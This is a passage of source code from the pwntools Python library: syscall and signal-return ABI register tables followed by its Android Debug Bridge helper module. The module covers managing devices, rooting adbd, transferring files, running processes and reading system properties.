['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)\nlinux_amd64_syscall = SyscallABI('rsp', ['rax', 'rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'],   8, 0)\nlinux_arm_syscall = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6'], 4, 0)\nlinux_aarch64_syscall = SyscallABI('sp', ['x8', 'x0', 'x1', 'x2', 'x3', 'x4', 'x5'], 16, 0)\nlinux_mips_syscall  = SyscallABI('$sp', ['$v0','$a0','$a1','$a2','$a3'], 4, 0)\nlinux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9'], 4, 0)\nlinux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)\nlinux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)\nlinux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)\nlinux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)\n\nlinux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)\nlinux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)\nlinux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)\nlinux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)\nlinux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)\nlinux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)\nlinux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)\n\nsysv_i386_sigreturn = linux_i386_sigreturn\nsysv_amd64_sigreturn = linux_amd64_sigreturn\nsysv_arm_sigreturn = linux_arm_sigreturn\nsysv_aarch64_sigreturn = linux_aarch64_sigreturn\nsysv_riscv32_sigreturn = linux_riscv32_sigreturn\nsysv_riscv64_sigreturn = linux_riscv64_sigreturn\nsysv_loongarch64_sigreturn = linux_loongarch64_sigreturn\n\nfreebsd_i386 = sysv_i386\nfreebsd_amd64 = sysv_amd64\nfreebsd_arm = sysv_arm\nfreebsd_aarch64 = sysv_aarch64\nfreebsd_mips = sysv_mips\nfreebsd_ppc = sysv_ppc\nfreebsd_ppc64 = sysv_ppc64\n\nfreebsd_i386_syscall   = SyscallABI('esp', ['eax'], 4, 0)\nfreebsd_amd64_syscall  = SyscallABI('rsp', ['rax','rdi','rsi','rdx','r10','r8','r9'], 8, 0)\nfreebsd_arm_syscall    = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3'], 8, 0)\nfreebsd_aarch64_syscall = SyscallABI('sp', ['x8', 'x0', 'x1', 'x2', 'x3'], 16, 0)\nfreebsd_mips_syscall  = SyscallABI('$sp', ['$v0','$a0','$a1','$a2','$a3'], 4, 0)\nfreebsd_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)\nfreebsd_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)\n\nfreebsd_i386_sigreturn = sysv_i386_sigreturn\nfreebsd_amd64_sigreturn = sysv_amd64_sigreturn\nfreebsd_arm_sigreturn = sysv_arm_sigreturn\nfreebsd_aarch64_sigreturn = sysv_aarch64_sigreturn\n\nwindows_i386  = ABI('esp', [], 4, 0)\nwindows_amd64 = ABI('rsp', ['rcx','rdx','r8','r9'], 32, 32)\n\ndarwin_aarch64 = sysv_aarch64\ndarwin_aarch64_syscall = SyscallABI('sp', ['x16', 'x0', 'x1', 'x2', 'x3', 'x4', 'x5'], 16, 0)\ndarwin_aarch64_sigreturn = SigreturnABI('sp', ['x16'], 16, 0)\n\ndarwin_amd64 = sysv_amd64\ndarwin_amd64_syscall = SyscallABI('rsp', ['rax', 'rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'], 8, 0)\ndarwin_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)\n"
  },
  {
    "path": "pwnlib/adb/__init__.py",
    "content": "from pwnlib.adb.adb import *\nfrom pwnlib.adb.protocol import Client\nfrom pwnlib.adb.bootimg import BootImage\nfrom pwnlib.adb.bootloader import BootloaderImage\n"
  },
  {
    "path": "pwnlib/adb/adb.py",
    "content": "\"\"\"Provides utilities for interacting with Android devices via the Android Debug Bridge.\n\nUsing Android Devices with Pwntools\n-----------------------------------\n\nPwntools tries to be as easy as possible to use with Android devices.\n\nIf you have only one device attached, everything \"just works\".\n\nIf you have multiple devices, you have a handful of options to select one, or iterate\nover the devices.\n\nFirst and most important is the ``context.device`` property, which declares the \"currently\"\nselected device in any scope.  It can be set manually to a serial number, or to a ``Device``\ninstance.\n\n.. code-block:: python\n\n    # Take the first available device\n    context.device = adb.wait_for_device()\n\n    # Set a device by serial number\n    context.device = 'ZX1G22LH8S'\n\n    # Set a device by its product name\n    for device in adb.devices():\n        if device.product == 'shamu':\n            break\n    else:\n        error(\"Could not find any shamus!\")\n\nOnce a device is selected, you can operate on it with any of the functions in\nthe :mod:`pwnlib.adb` module.\n\n.. code-block:: python\n\n    # Get a process listing\n    print(adb.process(['ps']).recvall())\n\n    # Fetch properties\n    print(adb.properties.ro.build.fingerprint)\n\n    # Read and write files\n    print(adb.read('/proc/version'))\n    adb.write('/data/local/tmp/foo', 'my data')\n\n\"\"\"\n\nimport functools\nimport glob\nimport logging\nimport os\nimport re\nimport shutil\nimport stat\nimport tempfile\nimport time\n\nimport dateutil.parser\n\nfrom pwnlib import atexit\nfrom pwnlib import tubes\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.device import Device\nfrom pwnlib.exception import PwnlibException\nfrom pwnlib.log import getLogger\nfrom pwnlib.protocols.adb import AdbClient\nfrom pwnlib.util.packing import _decode\nfrom pwnlib.util import misc\n\nlog = getLogger(__name__)\n\ndef adb(argv, *a, **kw):\n    r\"\"\"Returns the output of an ADB subcommand.\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.adb('get-serialno')\n        b'emulator-5554\\n'\n        >>> adb.adb(['shell', 'uname']) # it is better to use adb.process\n        b'Linux\\n'\n    \"\"\"\n    if isinstance(argv, (bytes, str)):\n        argv = [argv]\n\n    log.debug(\"$ \" + ' '.join(context.adb + argv))\n\n    # All \"adb shell\" incantations should go through adb.process()\n    if argv[0] == 'shell':\n        return process(argv[1:], *a, **kw).recvall()\n\n    return tubes.process.process(context.adb + argv, *a, **kw).recvall()\n\n@context.quietfunc\ndef devices(serial=None):\n    \"\"\"Returns a list of ``Device`` objects corresponding to the connected devices.\"\"\"\n    with AdbClient() as c:\n        lines = c.devices(long=True)\n    result = []\n\n    for line in lines.splitlines():\n        # Skip the first 'List of devices attached' line, and the final empty line.\n        if 'List of devices' in line or not line.strip():\n            continue\n        device = AdbDevice.from_adb_output(line)\n        if device.serial == serial:\n            return device\n        result.append(device)\n\n    return tuple(result)\n\ndef current_device(any=False):\n    \"\"\"Returns an ``AdbDevice`` instance for the currently-selected device\n    (via ``context.device``).\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> device = adb.current_device(any=True)\n        >>> device  # doctest: +ELLIPSIS\n        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone..._...', model='...', device='...')\n        >>> device.port\n        'emulator'\n    \"\"\"\n    all_devices = devices()\n    for device in all_devices:\n        if any or device == context.device:\n            return device\n\ndef with_device(f):\n    @functools.wraps(f)\n    def wrapper(*a,**kw):\n        if not context.device:\n            device = current_device(any=True)\n            if device:\n                log.warn_once('Automatically selecting device %s' % device)\n                context.device = device\n        if not context.device:\n            log.error('No devices connected, cannot invoke %s.%s' % (f.__module__, f.__name__))\n        return f(*a,**kw)\n    return wrapper\n\n\n@with_device\ndef root():\n    \"\"\"Restarts adbd as root.\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.root()\n    \"\"\"\n    log.info(\"Enabling root on %s\" % context.device)\n\n    with context.quiet:\n        with AdbClient() as c:\n            reply = c.root()\n\n    if 'already running as root' in reply:\n        return\n\n    elif not reply or 'restarting adbd as root' in reply:\n        with context.quiet:\n            wait_for_device()\n\n    else:\n        log.error(\"Could not run as root:\\n%s\" % reply)\n\ndef no_emulator(f):\n    @functools.wraps(f)\n    def wrapper(*a,**kw):\n        c = current_device()\n        if c and c.port == 'emulator':\n            log.error(\"Cannot invoke %s.%s on an emulator.\" % (f.__module__, f.__name__))\n        return f(*a,**kw)\n    return wrapper\n\n@no_emulator\n@with_device\ndef reboot(wait=True):\n    \"\"\"Reboots the device.\n    \"\"\"\n    log.info('Rebooting device %s' % context.device)\n\n    with AdbClient() as c:\n        c.reboot()\n\n    if wait:\n        wait_for_device()\n\n@no_emulator\n@with_device\ndef reboot_bootloader():\n    \"\"\"Reboots the device to the bootloader.\n    \"\"\"\n    log.info('Rebooting %s to bootloader' % context.device)\n\n    with AdbClient() as c:\n        c.reboot_bootloader()\n\n@with_device\ndef uptime():\n    \"\"\"uptime() -> float\n\n    Returns:\n        Uptime of the device, in seconds\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot\n        True\n    \"\"\"\n    up, idle = map(float, read('/proc/uptime').split())\n    return up\n\n@with_device\ndef boot_time():\n    \"\"\"boot_time() -> int\n\n    Returns:\n        Boot time of the device, in Unix time, rounded to the\n        nearest second.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> import time\n        >>> adb.boot_time() < time.time()\n        True\n    \"\"\"\n    for line in read('/proc/stat').splitlines():\n        name, value = line.split(None, 1)\n        if name == b'btime':\n            return int(value)\n\nclass AdbDevice(Device):\n    \"\"\"Encapsulates information about a connected device.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> device = adb.wait_for_device()\n        >>> device.arch\n        'amd64'\n        >>> device.bits\n        64\n        >>> device.os\n        'android'\n        >>> device.product  # doctest: +ELLIPSIS\n        'sdk_...phone..._...'\n        >>> device.serial\n        'emulator-5554'\n    \"\"\"\n    def __init__(self, serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw):\n        self.serial  = serial\n        self.type    = type\n        self.port    = port\n        self.product = product\n        self.model   = model.replace('_', ' ')\n        self.device  = device\n        self.os      = 'android'\n\n        if product == 'unknown':\n            return\n\n        # Deferred fields\n        self._initialized = False\n        self._arch = None\n        self._bits = None\n        self._endian = None\n        self._avd = None\n\n    @property\n    def arch(self):\n        self.__do_deferred_initialization()\n        return self._arch\n\n    @property\n    def avd(self):\n        self.__do_deferred_initialization()\n        return self._avd\n\n    @property\n    def bits(self):\n        self.__do_deferred_initialization()\n        return self._bits\n\n    @property\n    def endian(self):\n        self.__do_deferred_initialization()\n        return self._endian\n\n\n    def __do_deferred_initialization(self):\n        if self._initialized:\n            return\n\n        with context.local(device=self.serial):\n            abi = getprop('ro.product.cpu.abi')\n            context.clear()\n            context.arch = str(abi)\n            self._arch = context.arch\n            self._bits = context.bits\n            self._endian = context.endian\n\n        if self.port == 'emulator':\n            emulator, port = self.serial.split('-')\n            port = int(port)\n            try:\n                with remote('localhost', port, level='error') as r:\n                    r.recvuntil('OK')\n                    r.recvline() # Rest of the line\n                    r.sendline('avd name')\n                    self.avd = r.recvline().strip()\n            except:\n                pass\n\n        self._initialized = True\n\n    def __str__(self):\n        return self.serial\n\n    def __repr__(self):\n        fields = ['serial', 'type', 'port', 'product', 'model', 'device']\n        return '%s(%s)' % (self.__class__.__name__,\n                           ', '.join(('%s=%r' % (field, getattr(self, field)) for field in fields)))\n\n    @staticmethod\n    def from_adb_output(line):\n        fields = line.split()\n\n        \"\"\"\n        Example output:\n        ZX1G22LM7G             device usb:336789504X product:shamu model:Nexus_6 device:shamu features:cmd,shell_v2\n        84B5T15A29020449       device usb:336855040X product:angler model:Nexus_6P device:angler\n        0062741b0e54b353       unauthorized usb:337641472X\n        emulator-5554          offline\n        emulator-5554          device product:sdk_phone_armv7 model:sdk_phone_armv7 device:generic\n        \"\"\"\n\n        fields = line.split()\n\n        serial = fields[0]\n        type   = fields[1]\n        kwargs = {}\n\n        if serial.startswith('emulator-'):\n            kwargs['port'] = 'emulator'\n\n        for field in fields[2:]:\n            k,v = field.split(':', 1)\n            kwargs[k] = v\n\n        return AdbDevice(serial, type, **kwargs)\n\n    def __wrapped(self, function):\n        \"\"\"Wraps a callable in a scope which selects the current device.\"\"\"\n        @functools.wraps(function)\n        def wrapper(*a, **kw):\n            with context.local(device=self):\n                return function(*a,**kw)\n        return wrapper\n\n    def __getattr__(self, name):\n        \"\"\"Provides scoped access to ``adb`` module properties, in the context\n        of this device.\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> property = 'ro.build.fingerprint'\n            >>> device = adb.wait_for_device()\n            >>> adb.getprop(property) == device.getprop(property)\n            True\n        \"\"\"\n        if name.startswith('_'):\n            raise AttributeError(name)\n\n        with context.local(device=self):\n            g = globals()\n\n            if name not in g:\n                raise AttributeError('%r object has no attribute %r' % (type(self).__name__,name))\n            value = g[name]\n\n        if not hasattr(value, '__call__'):\n            return value\n\n        return self.__wrapped(value)\n\n@LocalContext\ndef wait_for_device(kick=False):\n    \"\"\"Waits for a device to be connected.\n\n    By default, waits for the currently-selected device (via ``context.device``).\n    To wait for a specific device, set ``context.device``.\n    To wait for *any* device, clear ``context.device``.\n\n    Return:\n        An ``AdbDevice`` instance for the device.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> device = adb.wait_for_device()\n    \"\"\"\n    with log.waitfor(\"Waiting for device to come online\") as w:\n        with AdbClient() as c:\n            if kick:\n                try:\n                    c.reconnect()\n                except Exception:\n                    pass\n\n            serial = ''\n            if context.device:\n                serial = str(context.device)\n\n        with AdbClient() as c:\n            c.wait_for_device(serial)\n\n        for device in devices():\n            if context.device == device:\n                return device\n\n            if not serial:\n                break\n        else:\n            log.error(\"Could not find any devices\")\n\n        with context.local(device=device):\n            # There may be multiple devices, so context.device is\n            # insufficient.  Pick the first device reported.\n            w.success('%s (%s %s %s)' % (device,\n                                         product(),\n                                         build(),\n                                         _build_date()))\n\n            return context.device\n\n@with_device\ndef disable_verity():\n    \"\"\"Disables dm-verity on the device.\"\"\"\n    with log.waitfor(\"Disabling dm-verity on %s\" % context.device):\n        root()\n\n        with AdbClient() as c:\n            reply = c.disable_verity()\n\n        if 'Verity already disabled' in reply:\n            return\n        elif 'Now reboot your device' in reply:\n            reboot(wait=True)\n        elif '0006closed' in reply:\n            return # Emulator doesnt support Verity?\n        else:\n            log.error(\"Could not disable verity:\\n%s\" % reply)\n\n@with_device\ndef remount():\n    \"\"\"Remounts the filesystem as writable.\"\"\"\n    with log.waitfor(\"Remounting filesystem on %s\" % context.device):\n        disable_verity()\n        root()\n\n        with AdbClient() as c:\n            reply = c.remount()\n\n        if 'remount succeeded' not in reply:\n            log.error(\"Could not remount filesystem:\\n%s\" % reply)\n\n@with_device\ndef unroot():\n    \"\"\"Restarts adbd as AID_SHELL.\"\"\"\n    log.info(\"Unrooting %s\" % context.device)\n    with context.quiet:\n        with AdbClient() as c:\n            reply  = c.unroot()\n\n    if '0006closed' == reply:\n        return # Emulator doesnt care\n\n    if 'restarting adbd as non root' not in reply:\n        log.error(\"Could not unroot:\\n%s\" % reply)\n\ndef _create_adb_push_pull_callback(w):\n    def callback(filename, data, size, chunk, chunk_size):\n        have = len(data) + len(chunk)\n        if size == 0:\n            size = '???'\n            percent = '???'\n        else:\n            percent = int(100 * have // size)\n            size = misc.size(size)\n        have = misc.size(have)\n        w.status('%s/%s (%s%%)' % (have, size, percent))\n        return True\n    return callback\n\n@with_device\ndef pull(remote_path, local_path=None):\n    \"\"\"Download a file from the device.\n\n    Arguments:\n        remote_path(str): Path or directory of the file on the device.\n        local_path(str): Path to save the file to.\n            Uses the file's name by default.\n\n    Return:\n        The contents of the file.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> _=adb.pull('/proc/version', './proc-version')\n        >>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS\n        Linux version ...\n    \"\"\"\n    if local_path is None:\n        local_path = os.path.basename(remote_path)\n\n    msg = \"Pulling %r to %r\" % (remote_path, local_path)\n\n    if log.isEnabledFor(logging.DEBUG):\n        msg += ' (%s)' % context.device\n\n    with log.waitfor(msg) as w:\n        data = read(remote_path, callback=_create_adb_push_pull_callback(w))\n        misc.write(local_path, data)\n\n    return data\n\n@with_device\ndef push(local_path, remote_path):\n    \"\"\"Upload a file to the device.\n\n    Arguments:\n        local_path(str): Path to the local file to push.\n        remote_path(str): Path or directory to store the file on the device.\n\n    Returns:\n        Remote path of the file.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> write('./filename', 'contents')\n        >>> adb.push('./filename', '/data/local/tmp')\n        '/data/local/tmp/filename'\n        >>> adb.read('/data/local/tmp/filename')\n        b'contents'\n        >>> adb.push('./filename', '/does/not/exist')\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Could not stat '/does/not/exist'\n    \"\"\"\n    msg = \"Pushing %r to %r\" % (local_path, remote_path)\n    remote_filename = os.path.basename(local_path)\n\n    if log.isEnabledFor(logging.DEBUG):\n        msg += ' (%s)' % context.device\n\n    with log.waitfor(msg) as w:\n        with AdbClient() as c:\n\n            # We need to discover whether remote_path is a directory or not.\n            # If we cannot stat the full path, assume it's a path-plus-filename,\n            # where the filename does not exist.\n            stat_ = c.stat(remote_path)\n            if not stat_:\n                remote_filename = os.path.basename(remote_path)\n                remote_path = os.path.dirname(remote_path)\n                stat_ = c.stat(remote_path)\n\n            # If we can't find the exact path, or its parent directory, bail!\n            if not stat_:\n                log.error('Could not stat %r' % remote_path)\n\n            # If we found the parent directory, append the filename\n            mode = stat_['mode']\n            if stat.S_ISDIR(mode):\n                remote_path = os.path.join(remote_path, remote_filename)\n\n            c.write(remote_path,\n                    misc.read(local_path),\n                    callback=_create_adb_push_pull_callback(w))\n\n    return remote_path\n\n@context.quietfunc\n@with_device\ndef read(path, target=None, callback=None):\n    \"\"\"Download a file from the device, and extract its contents.\n\n    Arguments:\n        path(str): Path to the file on the device.\n        target(str): Optional, location to store the file.\n            Uses a temporary file by default.\n        callback(callable): See the documentation for\n            ``adb.protocol.AdbClient.read``.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS\n        Linux version ...\n        >>> adb.read('/does/not/exist')\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Could not stat '/does/not/exist'\n    \"\"\"\n    with AdbClient() as c:\n        stat = c.stat(path)\n        if not stat:\n            log.error('Could not stat %r' % path)\n        data = c.read(path, stat['size'], callback=callback)\n\n    if target:\n        misc.write(target, data)\n\n    return data\n\n@context.quietfunc\n@with_device\ndef write(path, data=b''):\n    \"\"\"Create a file on the device with the provided contents.\n\n    Arguments:\n        path(str): Path to the file on the device\n        data(str): Contents to store in the file\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.write('/dev/null', b'data')\n        >>> adb.write('/data/local/tmp/')\n    \"\"\"\n    with tempfile.NamedTemporaryFile() as temp:\n        misc.write(temp.name, data)\n        push(temp.name, path)\n\n@context.quietfunc\n@with_device\ndef mkdir(path):\n    \"\"\"Create a directory on the target device.\n\n    Note:\n        Silently succeeds if the directory already exists.\n\n    Arguments:\n        path(str): Directory to create.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.mkdir('/')\n\n        >>> path = '/data/local/tmp/mkdir_test'\n        >>> adb.exists(path)\n        False\n        >>> adb.mkdir(path)\n        >>> adb.exists(path)\n        True\n\n        >>> adb.mkdir('/init')\n        Traceback (most recent call last):\n        ...\n        PwnlibException: mkdir failed for /init, File exists\n    \"\"\"\n    if not path.startswith('/'):\n        log.error(\"Must provide an absolute path: %r\" % path)\n\n    with AdbClient() as c:\n        st = c.stat(path)\n\n        # Don't re-create existing directories\n        if st and stat.S_ISDIR(st['mode']):\n            return\n\n        result = process(['mkdir', path]).recvall()\n\n        # Any output at all is an error\n        if result:\n            log.error(result.rstrip().decode('utf-8'))\n\n@context.quietfunc\n@with_device\ndef makedirs(path):\n    \"\"\"Create a directory and all parent directories on the target device.\n\n    Note:\n        Silently succeeds if the directory already exists.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')\n        >>> adb.listdir('/data/local/tmp/this/is/a/directory')\n        ['hierarchy']\n    \"\"\"\n    if path != '/':\n        makedirs(os.path.dirname(path))\n\n    mkdir(path)\n\n@context.quietfunc\n@with_device\ndef exists(path):\n    \"\"\"Return :const:`True` if ``path`` exists on the target device.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.exists('/')\n        True\n        >>> adb.exists('/etc/hosts')\n        True\n        >>> adb.exists('/does/not/exist')\n        False\n    \"\"\"\n    with AdbClient() as c:\n        return bool(c.stat(path))\n\n@context.quietfunc\n@with_device\ndef isdir(path):\n    \"\"\"Return :const:`True` if ``path`` is a on the target device.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.isdir('/')\n        True\n        >>> adb.isdir('/init')\n        False\n        >>> adb.isdir('/does/not/exist')\n        False\n    \"\"\"\n    with AdbClient() as c:\n        st = c.stat(path)\n        return bool(st and stat.S_ISDIR(st['mode']))\n\n@context.quietfunc\n@with_device\ndef unlink(path, recursive=False):\n    \"\"\"Unlinks a file or directory on the target device.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.unlink(\"/does/not/exist\")\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Could not unlink '/does/not/exist': Does not exist\n\n        >>> filename = '/data/local/tmp/unlink-test'\n        >>> adb.write(filename, 'hello')\n        >>> adb.exists(filename)\n        True\n        >>> adb.unlink(filename)\n        >>> adb.exists(filename)\n        False\n\n        >>> adb.mkdir(filename)\n        >>> adb.write(filename + '/contents', 'hello')\n        >>> adb.unlink(filename)\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test' without recursive=True\n\n        >>> adb.unlink(filename, recursive=True)\n        >>> adb.exists(filename)\n        False\n    \"\"\"\n    with AdbClient() as c:\n        st = c.stat(path)\n        if not st:\n            log.error(\"Could not unlink %r: Does not exist\" % path)\n\n        # If the directory is not empty, do not delete it\n        if isdir(path) and c.list(path) and not recursive:\n            log.error(\"Cannot delete non-empty directory %r without recursive=True\" % path)\n\n        flags = '-rf' if recursive else '-f'\n\n        output = c.execute(['rm', flags, path]).recvall()\n\n        if output:\n            log.error(output.decode('utf-8'))\n\n@with_device\ndef process(argv, *a, **kw):\n    \"\"\"Execute a process on the device.\n\n    See :class:`pwnlib.tubes.process.process` documentation for more info.\n\n    Returns:\n        A :class:`pwnlib.tubes.process.process` tube.\n\n    Examples:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.root()\n        >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS\n        Linux version ...\n    \"\"\"\n    if isinstance(argv, (bytes, str)):\n        argv = [argv]\n\n    message = \"Starting %s process %r\" % ('Android', argv[0])\n\n    if log.isEnabledFor(logging.DEBUG):\n        if argv != [argv[0]]: message += ' argv=%r ' % argv\n\n    with log.progress(message) as p:\n        return AdbClient().execute(argv)\n\n@with_device\ndef interactive(**kw):\n    \"\"\"Spawns an interactive shell.\"\"\"\n    return shell(**kw).interactive()\n\n@with_device\ndef shell(**kw):\n    \"\"\"Returns an interactive shell.\"\"\"\n    return process(['sh', '-i'], **kw)\n\n@with_device\ndef which(name, all = False, *a, **kw):\n    \"\"\"Retrieves the full path to a binary in ``$PATH`` on the device\n\n    Arguments:\n        name(str): Binary name\n        all(bool): Whether to return all paths, or just the first\n        *a: Additional arguments for :func:`.adb.process`\n        **kw: Additional arguments for :func:`.adb.process`\n\n    Returns:\n        Either a path, or list of paths\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.which('sh')\n        '/system/bin/sh'\n        >>> adb.which('sh', all=True)\n        ['/system/bin/sh', '/vendor/bin/sh']\n\n        >>> adb.which('foobar') is None\n        True\n        >>> adb.which('foobar', all=True)\n        []\n    \"\"\"\n    # Unfortunately, there is no native 'which' on many phones.\n    which_cmd = '''\n(IFS=:\n  for directory in $PATH; do\n      [ -x \"$directory/{name}\" ] || continue;\n      echo -n \"$directory/{name}\\\\x00\";\n  done\n)\n[ -x \"{name}\" ] && echo -n \"$PWD/{name}\\\\x00\"\n'''.format(name=name)\n\n    which_cmd = which_cmd.strip()\n    data = process(['sh','-c', which_cmd], *a, **kw).recvall()\n    data = _decode(data)\n    result = []\n\n    for path in data.split('\\x00'):\n        # Skip empty entries\n        if not path:\n            continue\n\n        # Return the first entry if all=False\n        if not all:\n            return path\n\n        # Accumulate all entries if all=True\n        result.append(path)\n\n    if all:\n        return result\n\n    return None\n\n\n@with_device\ndef whoami():\n    \"\"\"Returns current shell user\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n       >>> adb.whoami()\n       b'root'\n    \"\"\"\n    return process(['sh','-ic','echo $USER']).recvall().strip()\n\n@with_device\ndef forward(port):\n    \"\"\"Sets up a port to forward to the device.\"\"\"\n    tcp_port = 'tcp:%s' % port\n    adb(['forward', tcp_port, tcp_port])\n    atexit.register(lambda: adb(['forward', '--remove', tcp_port]))\n\n@context.quietfunc\n@with_device\ndef logcat(stream=False):\n    \"\"\"Reads the system log file.\n\n    By default, causes logcat to exit after reading the file.\n\n    Arguments:\n        stream(bool): If :const:`True`, the contents are streamed rather than\n            read in a one-shot manner.  Default is :const:`False`.\n\n    Returns:\n        If ``stream`` is :const:`False`, returns a string containing the log data.\n        Otherwise, it returns a :class:`pwnlib.tubes.tube.tube` connected to the log output.\n    \"\"\"\n\n    if stream:\n        return process(['logcat'])\n    else:\n        return process(['logcat', '-d']).recvall()\n\n@with_device\ndef pidof(name):\n    \"\"\"Returns a list of PIDs for the named process.\"\"\"\n    with context.quiet:\n        # Older devices have a broken 'pidof', apparently.\n        # Try pgrep first.\n        io = process(['pgrep', name])\n        data = io.recvall()\n\n        if 'not found' in data:\n            io = process(['pidof', name])\n            data = io.recvall()\n\n    return list(map(int, data.split()))\n\n@with_device\ndef proc_exe(pid):\n    \"\"\"Returns the full path of the executable for the provided PID.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.proc_exe(1)\n        b'/system/bin/init'\n    \"\"\"\n    with context.quiet:\n        io  = process(['realpath','/proc/%d/exe' % pid])\n        data = io.recvall().strip()\n    return data\n\n@with_device\ndef getprop(name=None):\n    \"\"\"Reads a properties from the system property store.\n\n    Arguments:\n        name(str): Optional, read a single property.\n\n    Returns:\n        If ``name`` is not specified, a ``dict`` of all properties is returned.\n        Otherwise, a string is returned with the contents of the named property.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> adb.getprop() # doctest: +ELLIPSIS\n        {...}\n    \"\"\"\n    with context.quiet:\n        if name:\n            result = process(['getprop', name]).recvall().strip()\n            result = _decode(result)\n            return result\n\n        result = process(['getprop']).recvall()\n\n    result = _decode(result)\n    expr = r'\\[([^\\]]+)\\]: \\[(.*)\\]'\n\n    props = {}\n    for line in result.splitlines():\n        if not line.startswith('['):\n            continue\n\n        name, value = re.search(expr, line).groups()\n\n        if value.isdigit():\n            value = int(value)\n\n        props[name] = value\n\n    return props\n\n@with_device\ndef setprop(name, value):\n    \"\"\"Writes a property to the system property store.\"\"\"\n    return process(['setprop', name, value]).recvall().strip()\n\n@with_device\ndef listdir(directory='/'):\n    \"\"\"Returns a list containing the entries in the provided directory.\n\n    Note:\n        This uses the SYNC LIST functionality, which runs in the adbd\n        SELinux context.  If adbd is running in the su domain ('adb root'),\n        this behaves as expected.\n\n        Otherwise, less files may be returned due to restrictive SELinux\n        policies on adbd.\n    \"\"\"\n    return sorted(AdbClient().list(directory))\n\n@with_device\ndef fastboot(args, *a, **kw):\n    \"\"\"Executes a fastboot command.\n\n    Returns:\n        The command output.\n    \"\"\"\n    argv = ['fastboot', '-s', str(context.device)] + list(args)\n    return tubes.process.process(argv, *a, **kw).recvall()\n\n@with_device\ndef fingerprint():\n    \"\"\"Returns the device build fingerprint.\"\"\"\n    return getprop('ro.build.fingerprint')\n\n@with_device\ndef product():\n    \"\"\"Returns the device product identifier.\"\"\"\n    return getprop('ro.build.product')\n\n@with_device\ndef build():\n    \"\"\"Returns the Build ID of the device.\"\"\"\n    return getprop('ro.build.id')\n\n@with_device\n@no_emulator\ndef unlock_bootloader():\n    \"\"\"Unlocks the bootloader of the device.\n\n    Note:\n        This requires physical interaction with the device.\n    \"\"\"\n    w = log.waitfor(\"Unlocking bootloader\")\n    with w:\n        if getprop('ro.oem_unlock_supported') == '0':\n            log.error(\"Bootloader cannot be unlocked: ro.oem_unlock_supported=0\")\n\n        if getprop('ro.boot.oem_unlock_support') == '0':\n            log.error(\"Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0\")\n\n        if getprop('sys.oem_unlock_allowed') == '0':\n            log.error(\"Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first\", context.device)\n\n        